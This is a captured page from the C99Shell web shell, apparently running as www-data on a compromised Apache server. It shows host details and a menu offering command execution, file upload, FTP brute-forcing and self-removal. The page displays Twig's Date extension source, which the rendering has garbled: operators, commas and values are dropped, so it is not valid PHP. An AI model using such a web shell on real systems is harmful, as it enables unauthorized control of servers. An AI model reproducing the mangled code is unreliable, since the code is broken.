!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/php/Twig-Extensions/lib/Twig/Extensions/Extension/   drwxr-xr-x
Free 13.15 GB of 57.97 GB (22.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Date.php (2.88 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * This file is part of Twig.
 *
 * (c) 2014 Fabien Potencier
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
use Symfony\Component\Translation\TranslatorInterface;
use 
Symfony\Component\Translation\IdentityTranslator;

/**
 * @author Robin van der Vleuten <robinvdvleuten@gmail.com>
 */
class Twig_Extensions_Extension_Date extends Twig_Extension
{
    public static 
$units = array(
        
'y' => 'year',
        
'm' => 'month',
        
'd' => 'day',
        
'h' => 'hour',
        
'i' => 'minute',
        
's' => 'second',
    );

    
/**
     * @var TranslatorInterface
     */
    
private $translator;

    public function 
__construct(TranslatorInterface $translator null)
    {
        
// Ignore the IdentityTranslator, otherwise the parameters won't be replaced properly
        
if ($translator instanceof IdentityTranslator) {
            
$translator null;
        }

        
$this->translator $translator;
    }

    
/**
     * {@inheritdoc}
     */
    
public function getFilters()
    {
        return array(
            new 
Twig_SimpleFilter('time_diff', array($this'diff'), array('needs_environment' => true)),
        );
    }

    
/**
     * Filter for converting dates to a time ago string like Facebook and Twitter has.
     *
     * @param Twig_Environment $env  a Twig_Environment instance
     * @param string|DateTime  $date a string or DateTime object to convert
     * @param string|DateTime  $now  A string or DateTime object to compare with. If none given, the current time will be used.
     *
     * @return string the converted time
     */
    
public function diff(Twig_Environment $env$date$now null)
    {
        
// Convert both dates to DateTime instances.
        
$date twig_date_converter($env$date);
        
$now twig_date_converter($env$now);

        
// Get the difference between the two DateTime objects.
        
$diff $date->diff($now);

        
// Check for each interval if it appears in the $diff object.
        
foreach (self::$units as $attribute => $unit) {
            
$count $diff->$attribute;

            if (
!== $count) {
                return 
$this->getPluralizedInterval($count$diff->invert$unit);
            }
        }

        return 
'';
    }

    protected function 
getPluralizedInterval($count$invert$unit)
    {
        if (
$this->translator) {
            
$id sprintf('diff.%s.%s'$invert 'in' 'ago'$unit);

            return 
$this->translator->transChoice($id$count, array('%count%' => $count), 'date');
        }

        if (
!== $count) {
            
$unit .= 's';
        }

        return 
$invert "in $count $unit"$count $unit ago";
    }

    
/**
     * {@inheritdoc}
     */
    
public function getName()
    {
        return 
'date';
    }
}

class_alias('Twig_Extensions_Extension_Date''Twig\Extensions\DateExtension'false);

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0051 ]--